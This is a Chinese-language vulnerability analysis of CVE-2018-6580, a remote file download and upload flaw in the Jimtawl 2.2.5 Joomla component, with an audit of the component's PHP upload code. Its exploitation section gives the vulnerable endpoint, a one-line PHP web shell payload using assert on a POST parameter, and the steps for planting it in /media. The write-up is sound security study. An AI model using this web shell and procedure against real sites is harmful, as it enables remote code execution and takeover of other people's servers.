本文分析一下CVE-2018-6580漏洞的产生原因

0x01 前言

很久没有代码审计了,无意的逛着Exploit-DB看到了几个关于Joomla!的漏洞,想分析一下看看。

审计环境:

组件 组件版本
Joomla 3.8.5
Apache 2.4
PHP 5.4
操作系统 Windows7

0X02 漏洞简介

Exploit-DB地址:https://www.exploit-db.com/exploits/43958/

该漏洞不是Joomla的漏洞,是其中一个组件的漏洞,名字叫“Jimtawl”,漏洞版本是:“2.2.5”

  • 组件下载地址:http://janguo.de/lang-en/joomla-25-higher/jimtawl/pkg_jimtawl-2-2-5-current-r561-zip.raw
  • https://extensions.joomla.org/extension/jimtawl/

Jimtawl代表网络上的一个电台。向访问者显示您的节目日历,节目详情,播放列表以及正在播放的人员。

功能如下:

  • 提供广播节目:广播时间,下一个广播日期,说明,团队,联系人,网站
  • 介绍主持人和编辑的东西:名字,图片,描述
  • 为当前节目安排和创建播放列表
  • 呈现细分:标题,文字,音频,类别,流派,图像
  • 导航程序日历
  • 分段存档
  • 模块“现在谁在空中”
  • 支持Joomlas搜索
  • Podcast Feed

它的漏洞产生原因是任意文件上传,你一定会觉得匪夷所思,Joomla这么成熟的项目,它们的组件会不会也比较安全? You are wrong..

0x03 代码分析

Exploit-DB上给出了一些简短的描述,但是这也足够了,我们可以通过URL找到漏洞对应的代码。

index.php?option=com_jimtawl&view=upload&task=upload&pop=true&tmpl=component

这个页面是用来上传文件地方。

/components/com_jimtawl/models/media.php 107 Lines :

<?php

....

public function import($url = false, $path = false) {
		global $_FILES;
		
		jimport('joomla.filesystem.path');
		jimport('joomla.filesystem.file');
		$config = JComponentHelper :: getParams('com_jimtawl');
		$this->file_info = new jimtawl_fileinfo;
		$this->file_info->upload_dir = JPath :: clean(JPATH_SITE . $config->get('upload_dir', '/media/'));
		if ($path) {
			$this->file_info->is_local = true; 
			$ext = 	strtolower(JFile::getExt($path));
			switch($ext ) {
				case 'wav':
					$this->_get_localfile($url, $path);
					break;
				case 'ogg':
				case 'mp3':
					$this->_get_local_fileinfo($path);
					$this->file_info = $this->_move_uploaded($this->file_info);
				break;
			}
			
		} else {
			if ($url) {
				$this->_get_remotefile($url);
			} else {
				$this->_fileinfo_from_array($_FILES['userfile']);
				unset ($_FILES['userfile']);
				$this->file_info = $this->_move_uploaded($this->file_info);
			}
		}
		$this->_setMediaType();
		$this->_import_media();		
	}
	......

该方法主要是来处理上传逻辑的,可以看到一开始就先获取一些优先文件,例如:wav,ogg,mp3这类的会被分别调用_get_localfile方法去进行上传。

我们主要关注的还是从if($url)开始:

<?php
if ($url) {
	$this->_get_remotefile($url);
	} else {
	$this->_fileinfo_from_array($_FILES['userfile']);
	unset ($_FILES['userfile']);
	$this->file_info = $this->_move_uploaded($this->file_info);
}

跟踪一下_get_remotefile函数:

<?php
      ....

private function _get_remotefile($url) {
		$info = parse_url($url); // 当我们的URL传递进来后先解析URL地址
		$pathinfo = explode("/", $info['path']); // 获取URI
		$this->file_info->name = end($pathinfo);
		$this->file_info->path = $this->file_info->upload_dir . $this->file_info->name;
		if ($info["host"] == "")
			return -2;
		if ((!isset ($info["port"])) or ($info["port"] == ""))
			$info["port"] = 80;
		$fp = fsockopen($info["host"], $info["port"], $errno, $errstr, 30); // 连接远程服务器
		if ($fp) {
			fputs($fp, "HEAD " . $info["path"] . " HTTP/1.0\r\n" . "Host: " . $info["host"] . "\r\n" . "Connection: close\r\n\r\n");
			do {
				$response = fgets($fp, 1024);
			} while (!feof($fp) AND stristr($response, 'content-length') === false); // 一直读取文件
			if (stristr($response, 'content-length') !== false) {
				$this->file_info->size = substr($response, 16);
			} else {
				$this->file_info->size = 0;
			}
			fclose($fp); // 关闭连接 
		} else {
			$this->file_info->error = 5;
		}
		$file_in = fopen($url, "r");  // 这里再次读取,其实可以用file_get_contents...
		$file_out = fopen($this->file_info->path, "w"); // 重新打开一个文件描述符,准备将文件写入服务器
		if ($file_out) {
			fwrite($file_out, fread($file_in, 4056));  // 读取 4056个字节并写入文件
			fclose($file_out);
		} else {
			return JError :: raiseError(-1, JText :: _('Unable to open file '.$this->file_info->path ));
		}

		fclose($file_in);
		$this->file_info->extern = true;
		$this->file_info->url = $url;
	}
	.......
?>

上面简单分析了一下代码,逻辑不是很难,主要是我不是很了解这个cms的框架,只能看个大概了。

0x04 远程文件任意下载

上面分析了这么多,这个洞到底出现在哪里呢?

其实主要就是未对文件扩展名进行校验,其实他们是有校验方法的,只是没有调用的不是时候:

<?php
  ....
private function _setMediaType() {
		// is this audio, image, or not allowed?
		$media_type = "-1";
		$path_info = pathinfo($this->file_info->name);
		$extension = strtolower($path_info["extension"]);
		for ($i = 0; $i < count($this->mediatypes); $i++) {
			$mimetypes = explode(" ", $this->mediatypes[$i]['extensions']);
			if (in_array($extension, $mimetypes)) {
				$media_type = $i;
			}
		}
		if ($media_type == "-1")
			$this->file_info->error = 6;
		$this->file_info->media_type = $media_type;
		/// print_r($this->file_info);die;
		$mediaTypeName = $this->mediatypes[$media_type]['name'];

		return $mediaTypeName;
	}
	....
?>

这里是遍历了白名单扩展名,进行比较……

上传页面

利用上面的过程非常简单,只需要在URL Link中输入一个扩展名为PHP的远程文件,注意,它的代码必须是这样:

<?php
echo '<?php assert($_POST["test"]);?>';
?>

因为如果直接保存一句话木马,它还是会被我们的PHP环境解析,当然也可以将PHP的解析去掉 ~

上传页面

上传页面

在组件上提交这个URL:

上传页面

当文件上传上去以后,我们就可以在/media文件夹下发现我们的文件了:

上传页面

0x05 总结

这个漏洞只是提及了一个简单的远程文件下载漏洞,而在Exploit-DB上披露的是直接上传文件漏洞。我认为可以刷一个CVE,但是没必要了,贵在学习